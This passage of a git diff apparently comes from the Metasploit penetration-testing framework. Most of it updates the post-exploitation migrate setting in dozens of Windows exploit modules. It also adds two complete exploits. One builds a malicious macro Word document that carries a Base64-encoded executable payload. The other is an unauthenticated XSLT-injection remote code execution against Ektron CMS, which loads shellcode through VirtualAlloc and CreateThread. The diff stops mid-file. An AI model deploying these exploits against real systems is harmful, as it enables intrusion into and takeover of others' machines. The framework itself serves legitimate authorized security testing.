Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', 'Retries' => false }, 'Targets' => diff --git a/modules/exploits/windows/browser/ms14_012_textrange.rb b/modules/exploits/windows/browser/ms14_012_textrange.rb index 5b2f00c98e..8b62789967 100644 --- a/modules/exploits/windows/browser/ms14_012_textrange.rb +++ b/modules/exploits/windows/browser/ms14_012_textrange.rb @@ -59,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'Retries' => false, # You're too kind, tab recovery, I only need 1 shell. - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'DisclosureDate' => "Mar 11 2014", # Vuln was found in 2013. Mar 11 = Patch tuesday 'DefaultTarget' => 0)) diff --git a/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb b/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb index dac7e039f8..d55c8d119f 100644 --- a/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb +++ b/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb @@ -56,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'thread', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb b/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb index a61d88ca68..98709c17f2 100644 --- a/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb +++ b/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb @@ -56,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/ntr_activex_check_bof.rb b/modules/exploits/windows/browser/ntr_activex_check_bof.rb index 611029ad99..a309616e1f 100644 --- a/modules/exploits/windows/browser/ntr_activex_check_bof.rb +++ b/modules/exploits/windows/browser/ntr_activex_check_bof.rb @@ -51,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/ntr_activex_stopmodule.rb b/modules/exploits/windows/browser/ntr_activex_stopmodule.rb index e943b11db0..18cdbcf0f9 100644 --- a/modules/exploits/windows/browser/ntr_activex_stopmodule.rb +++ b/modules/exploits/windows/browser/ntr_activex_stopmodule.rb @@ -48,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/oracle_autovue_setmarkupmode.rb b/modules/exploits/windows/browser/oracle_autovue_setmarkupmode.rb index f4cccba075..57f35dfbae 100644 --- a/modules/exploits/windows/browser/oracle_autovue_setmarkupmode.rb +++ b/modules/exploits/windows/browser/oracle_autovue_setmarkupmode.rb @@ -56,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/oracle_webcenter_checkoutandopen.rb b/modules/exploits/windows/browser/oracle_webcenter_checkoutandopen.rb index 9335d80815..9d51003aa1 100644 --- a/modules/exploits/windows/browser/oracle_webcenter_checkoutandopen.rb +++ b/modules/exploits/windows/browser/oracle_webcenter_checkoutandopen.rb @@ -43,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f -k' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/ovftool_format_string.rb b/modules/exploits/windows/browser/ovftool_format_string.rb index 7184ac812a..4bb79207f8 100644 --- a/modules/exploits/windows/browser/ovftool_format_string.rb +++ b/modules/exploits/windows/browser/ovftool_format_string.rb @@ -51,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/pcvue_func.rb b/modules/exploits/windows/browser/pcvue_func.rb index d4018ccb1e..7d067b8eb4 100644 --- a/modules/exploits/windows/browser/pcvue_func.rb +++ b/modules/exploits/windows/browser/pcvue_func.rb @@ -35,7 +35,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/quickr_qp2_bof.rb b/modules/exploits/windows/browser/quickr_qp2_bof.rb index af452faef1..a9ed766c59 100644 --- a/modules/exploits/windows/browser/quickr_qp2_bof.rb +++ b/modules/exploits/windows/browser/quickr_qp2_bof.rb @@ -59,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/realplayer_qcp.rb b/modules/exploits/windows/browser/realplayer_qcp.rb index 5b81c4d16d..1b07abfa48 100644 --- a/modules/exploits/windows/browser/realplayer_qcp.rb +++ b/modules/exploits/windows/browser/realplayer_qcp.rb @@ -45,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "process", - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/safari_xslt_output.rb b/modules/exploits/windows/browser/safari_xslt_output.rb index 2397e4d9f4..4a1686f131 100644 --- a/modules/exploits/windows/browser/safari_xslt_output.rb +++ b/modules/exploits/windows/browser/safari_xslt_output.rb @@ -34,7 +34,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb b/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb index 057ff83b3c..53ac3660ed 100644 --- a/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb +++ b/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb @@ -43,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'thread', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb b/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb index 73ca64f4bd..571f5785ce 100644 --- a/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb +++ b/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb @@ -53,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb b/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb index f950ccbaac..a0c78377bb 100644 --- a/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb +++ b/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb @@ -74,7 +74,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Privileged' => false, 'DisclosureDate' => "May 30 2013", diff --git a/modules/exploits/windows/browser/teechart_pro.rb b/modules/exploits/windows/browser/teechart_pro.rb index 4540017403..84ee5ad5ef 100644 --- a/modules/exploits/windows/browser/teechart_pro.rb +++ b/modules/exploits/windows/browser/teechart_pro.rb @@ -52,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb b/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb index 4544396f52..1d2957285a 100644 --- a/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb +++ b/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb @@ -61,7 +61,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'thread', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/ultramjcam_openfiledig_bof.rb b/modules/exploits/windows/browser/ultramjcam_openfiledig_bof.rb index 3f80edb8c0..1ae1aa5fda 100644 --- a/modules/exploits/windows/browser/ultramjcam_openfiledig_bof.rb +++ b/modules/exploits/windows/browser/ultramjcam_openfiledig_bof.rb @@ -41,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "seh", - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/viscom_movieplayer_drawtext.rb b/modules/exploits/windows/browser/viscom_movieplayer_drawtext.rb index aafaccaa1b..71c60f312d 100644 --- a/modules/exploits/windows/browser/viscom_movieplayer_drawtext.rb +++ b/modules/exploits/windows/browser/viscom_movieplayer_drawtext.rb @@ -40,7 +40,7 @@ class MetasploitModule < Msf::Exploit::Remote { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => false, - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/vlc_amv.rb b/modules/exploits/windows/browser/vlc_amv.rb index e414e6fa6f..833f151a25 100644 --- a/modules/exploits/windows/browser/vlc_amv.rb +++ b/modules/exploits/windows/browser/vlc_amv.rb @@ -48,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "process", - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/vlc_mms_bof.rb b/modules/exploits/windows/browser/vlc_mms_bof.rb index 2e33ace44f..bc823fdf71 100644 --- a/modules/exploits/windows/browser/vlc_mms_bof.rb +++ b/modules/exploits/windows/browser/vlc_mms_bof.rb @@ -47,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "process", - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/webex_ucf_newobject.rb b/modules/exploits/windows/browser/webex_ucf_newobject.rb index 6e337c99a7..d624fa9a03 100644 --- a/modules/exploits/windows/browser/webex_ucf_newobject.rb +++ b/modules/exploits/windows/browser/webex_ucf_newobject.rb @@ -52,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/wellintech_kingscada_kxclientdownload.rb b/modules/exploits/windows/browser/wellintech_kingscada_kxclientdownload.rb index ea7cda3260..73e9252478 100644 --- a/modules/exploits/windows/browser/wellintech_kingscada_kxclientdownload.rb +++ b/modules/exploits/windows/browser/wellintech_kingscada_kxclientdownload.rb @@ -37,7 +37,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'BrowserRequirements' => { diff --git a/modules/exploits/windows/browser/wmi_admintools.rb b/modules/exploits/windows/browser/wmi_admintools.rb index e73dab9d78..e847a7952b 100644 --- a/modules/exploits/windows/browser/wmi_admintools.rb +++ b/modules/exploits/windows/browser/wmi_admintools.rb @@ -52,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/x360_video_player_set_text_bof.rb b/modules/exploits/windows/browser/x360_video_player_set_text_bof.rb index 07d4cd0d81..8c1ba38bf0 100644 --- a/modules/exploits/windows/browser/x360_video_player_set_text_bof.rb +++ b/modules/exploits/windows/browser/x360_video_player_set_text_bof.rb @@ -37,7 +37,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Arch' => ARCH_X86, diff --git a/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb b/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb index 3a30a85b77..1ddbe7e53e 100644 --- a/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb +++ b/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb @@ -42,7 +42,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb b/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb index b552117821..8c5e737b33 100644 --- a/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb +++ b/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb @@ -36,7 +36,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', 'DisablePayloadHandler' => 'true', }, 'Payload' => diff --git a/modules/exploits/windows/fileformat/adobe_flashplayer_button.rb b/modules/exploits/windows/fileformat/adobe_flashplayer_button.rb index 6bc77221ec..e41db7aeae 100644 --- a/modules/exploits/windows/fileformat/adobe_flashplayer_button.rb +++ b/modules/exploits/windows/fileformat/adobe_flashplayer_button.rb @@ -47,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', 'DisablePayloadHandler' => 'true', }, 'Payload' => diff --git a/modules/exploits/windows/fileformat/adobe_flashplayer_newfunction.rb b/modules/exploits/windows/fileformat/adobe_flashplayer_newfunction.rb index 5e519cd03f..d2af4a71e4 100644 --- a/modules/exploits/windows/fileformat/adobe_flashplayer_newfunction.rb +++ b/modules/exploits/windows/fileformat/adobe_flashplayer_newfunction.rb @@ -45,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', 'DisablePayloadHandler' => 'true', }, 'Payload' => diff --git a/modules/exploits/windows/fileformat/adobe_libtiff.rb b/modules/exploits/windows/fileformat/adobe_libtiff.rb index d7a76340f7..1382f09a30 100644 --- a/modules/exploits/windows/fileformat/adobe_libtiff.rb +++ b/modules/exploits/windows/fileformat/adobe_libtiff.rb @@ -38,7 +38,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', 'DisablePayloadHandler' => 'true', }, 'Payload' => diff --git a/modules/exploits/windows/fileformat/cyberlink_p2g_bof.rb b/modules/exploits/windows/fileformat/cyberlink_p2g_bof.rb index 4e643c9134..3452aced1e 100644 --- a/modules/exploits/windows/fileformat/cyberlink_p2g_bof.rb +++ b/modules/exploits/windows/fileformat/cyberlink_p2g_bof.rb @@ -35,7 +35,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/fileformat/esignal_styletemplate_bof.rb b/modules/exploits/windows/fileformat/esignal_styletemplate_bof.rb index e7c7606b63..5f09b2be60 100644 --- a/modules/exploits/windows/fileformat/esignal_styletemplate_bof.rb +++ b/modules/exploits/windows/fileformat/esignal_styletemplate_bof.rb @@ -40,7 +40,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => 'win', 'Payload' => diff --git a/modules/exploits/windows/fileformat/irfanview_jpeg2000_bof.rb b/modules/exploits/windows/fileformat/irfanview_jpeg2000_bof.rb index 4ef262a804..e2a17b49a4 100644 --- a/modules/exploits/windows/fileformat/irfanview_jpeg2000_bof.rb +++ b/modules/exploits/windows/fileformat/irfanview_jpeg2000_bof.rb @@ -45,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb b/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb index 24283fda76..668d94bf17 100644 --- a/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb +++ b/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb @@ -43,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'seh', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/fileformat/ms11_021_xlb_bof.rb b/modules/exploits/windows/fileformat/ms11_021_xlb_bof.rb index 485b6ba9d9..611d2f21e1 100644 --- a/modules/exploits/windows/fileformat/ms11_021_xlb_bof.rb +++ b/modules/exploits/windows/fileformat/ms11_021_xlb_bof.rb @@ -43,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote { 'EXITFUNC' => "process", 'DisablePayloadHandler' => 'true', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/fileformat/office_word_macro.rb b/modules/exploits/windows/fileformat/office_word_macro.rb new file mode 100644 index 0000000000..94260f848d --- /dev/null +++ b/modules/exploits/windows/fileformat/office_word_macro.rb @@ -0,0 +1,112 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/zip' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::EXE + include Msf::Module::Deprecated + + deprecated(Date.new(2017, 3, 16), 'exploit/multi/fileformat/office_word_macro') + + def initialize(info={}) + super(update_info(info, + 'Name' => "Microsoft Office Word Malicious Macro Execution", + 'Description' => %q{ + This module generates a macro-enabled Microsoft Office Word document. The comments + metadata in the data is injected with a Base64 encoded payload, which will be + decoded by the macro and execute as a Windows executable. + + For a successful attack, the victim is required to manually enable macro execution. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'sinn3r' # Metasploit + ], + 'References' => + [ + ['URL', 'https://en.wikipedia.org/wiki/Macro_virus'] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + 'DisablePayloadHandler' => true + }, + 'Platform' => 'win', + 'Targets' => + [ + ['Microsoft Office Word', {}], + ], + 'Privileged' => false, + 'DisclosureDate' => "Jan 10 2012", + 'DefaultTarget' => 0 + )) + + register_options([ + OptString.new("BODY", [false, 'The message for the document body', '']), + OptString.new('FILENAME', [true, 'The Office document macro file', 'msf.docm']) + ], self.class) + end + + + def on_file_read(short_fname, full_fname) + buf = File.read(full_fname) + + case short_fname + when /document\.xml/ + buf.gsub!(/DOCBODYGOESHER/, datastore['BODY']) + when /core\.xml/ + b64_payload = ' ' * 55 + b64_payload << Rex::Text.encode_base64(generate_payload_exe) + buf.gsub!(/PAYLOADGOESHERE/, b64_payload) + end + + # The original filename of __rels is actually ".rels". + # But for some reason if that's our original filename, it won't be included + # in the archive. So this hacks around that. + case short_fname + when /__rels/ + short_fname.gsub!(/\_\_rels/, '.rels') + end + + yield short_fname, buf + end + + + def package_docm(path) + zip = Rex::Zip::Archive.new + + Dir["#{path}/**/**"].each do |file| + p = file.sub(path+'/','') + + if File.directory?(file) + print_status("Packaging directory: #{file}") + zip.add_file(p) + else + on_file_read(p, file) do |fname, buf| + print_status("Packaging file: #{fname}") + zip.add_file(fname, buf) + end + end + end + + zip.pack + end + + + def exploit + print_status('Generating our docm file...') + path = File.join(Msf::Config.install_root, 'data', 'exploits', 'office_word_macro') + docm = package_docm(path) + file_create(docm) + super + end + +end diff --git a/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb b/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb index 189433c05f..c5c6b9af07 100644 --- a/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb +++ b/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb @@ -36,7 +36,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'thread', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/http/cogent_datahub_command.rb b/modules/exploits/windows/http/cogent_datahub_command.rb index 2fb6931fe2..6d7f539b48 100644 --- a/modules/exploits/windows/http/cogent_datahub_command.rb +++ b/modules/exploits/windows/http/cogent_datahub_command.rb @@ -39,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Stance' => Msf::Exploit::Stance::Aggressive, 'DefaultOptions' => { 'WfsDelay' => 30, - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Targets' => [ diff --git a/modules/exploits/windows/http/cyclope_ess_sqli.rb b/modules/exploits/windows/http/cyclope_ess_sqli.rb index 3ce543f576..b9bc3c016c 100644 --- a/modules/exploits/windows/http/cyclope_ess_sqli.rb +++ b/modules/exploits/windows/http/cyclope_ess_sqli.rb @@ -37,7 +37,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/http/ektron_xslt_exec_ws.rb b/modules/exploits/windows/http/ektron_xslt_exec_ws.rb new file mode 100644 index 0000000000..df6f4c6c8f --- /dev/null +++ b/modules/exploits/windows/http/ektron_xslt_exec_ws.rb @@ -0,0 +1,213 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Ektron 8.5, 8.7, 9.0 XSLT Transform Remote Code Execution', + 'Description' => %q{ Ektron 8.5, 8.7 <= sp1, 9.0 < sp1 have +vulnerabilities in various operations within the ServerControlWS.asmx +web services. These vulnerabilities allow for RCE without authentication and +execute in the context of IIS on the remote system. + }, + 'Author' => [ + 'catatonicprime' + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2015-0923' ], + [ 'US-CERT-VU', '377644' ], + [ 'URL', 'http://www.websecuritywatch.com/xxe-arbitrary-code-execution-in-ektron-cms/' ] + ], + 'Payload' => + { + 'Space' => 2048, + 'StackAdjustment' => -3500 + }, + 'Platform' => 'win', + 'Privileged' => true, + 'Targets' => + [ + ['Windows 2008 R2 / Ektron CMS400 8.5', { 'Arch' => [ ARCH_X64, ARCH_X86 ] }] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Feb 05 2015' + )) + + register_options( + [ + OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the VBS payload request', 60]), + OptString.new('TARGETURI', [true, 'The URI path of the Ektron CMS', '/cms400min/']), + OptEnum.new('TARGETOP', + [ + true, + 'The vulnerable web service operation to exploit', + 'ContentBlockEx', + [ + 'ContentBlockEx', + 'GetBookmarkString', + 'GetContentFlaggingString', + 'GetContentRatingString', + 'GetMessagingString' + ] + ]) + ], self.class ) + end + + + def vulnerable_param + return 'Xslt' if datastore['TARGETOP'] == 'ContentBlockEx' + 'xslt' + end + + def required_params + return '' if datastore['TARGETOP'] == 'ContentBlockEx' + '' + end + + def target_operation + datastore['TARGETOP'] + end + + def prologue + <<-XSLT + + + + <#{target_operation} xmlns="http://www.ektron.com/CMS400/Webservice"> + #{required_params} + <#{vulnerable_param}> + + +XSLT + end + + def epilogue + <<-XSLT + + + + + + ]]> + #{vulnerable_param}> + #{target_operation}> + + +XSLT + end + + def check + + fingerprint = rand_text_alpha(5 + rand(5)) + xslt_data = <<-XSLT +#{prologue} + public string xml() { + return "#{fingerprint}"; + } +#{epilogue} +XSLT + + res = send_request_cgi( + { + 'uri' => "#{uri_path}WorkArea/ServerControlWS.asmx", + 'version' => '1.1', + 'method' => 'POST', + 'ctype' => "text/xml; charset=UTF-8", + 'headers' => { + "Referer" => build_referer + }, + 'data' => xslt_data + }) + + if res and res.code == 200 and res.body =~ /#{fingerprint}/ and res.body !~ /Error/ + return Exploit::CheckCode::Vulnerable + end + return Exploit::CheckCode::Safe + end + + def uri_path + uri_path = target_uri.path + uri_path << "/" if uri_path[-1, 1] != "/" + uri_path + end + + def build_referer + if datastore['SSL'] + schema = "https://" + else + schema = "http://" + end + + referer = schema + referer << rhost + referer << ":#{rport}" + referer << uri_path + referer + end + + def exploit + + print_status("Generating the EXE Payload and the XSLT...") + fingerprint = rand_text_alpha(5 + rand(5)) + + xslt_data = <<-XSLT +#{prologue} + private static UInt32 MEM_COMMIT = 0x1000; + private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; + + [System.Runtime.InteropServices.DllImport("kernel32")] + private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect); + + [System.Runtime.InteropServices.DllImport("kernel32")] + private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId); + + public string xml() + { + string shellcode64 = @"#{Rex::Text.encode_base64(payload.encoded)}"; + byte[] shellcode = System.Convert.FromBase64String(shellcode64); + UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + System.Runtime.InteropServices.Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length); + IntPtr hThread = IntPtr.Zero; + IntPtr pinfo = IntPtr.Zero; + UInt32 threadId = 0; + hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); + return "#{fingerprint}"; + } +#{epilogue} +XSLT + + print_status("Trying to run the xslt transformation...") + res = send_request_cgi( + { + 'uri' => "#{uri_path}WorkArea/ServerControlWS.asmx", + 'version' => '1.1', + 'method' => 'POST', + 'ctype' => "text/xml; charset=UTF-8", + 'headers' => { + "Referer" => build_referer + }, + 'data' => xslt_data + }) + if res and res.code == 200 and res.body =~ /#{fingerprint}/ and res.body !~ /Error/ + print_good("Exploitation was successful") + else + fail_with(Failure::Unknown, "There was an unexpected response to the xslt transformation request") + end + + end +end diff --git a/modules/exploits/windows/http/hp_nnm_nnmrptconfig_nameparams.rb b/modules/exploits/windows/http/hp_nnm_nnmrptconfig_nameparams.rb index e219d739fc..7e7beb92f2 100644 --- 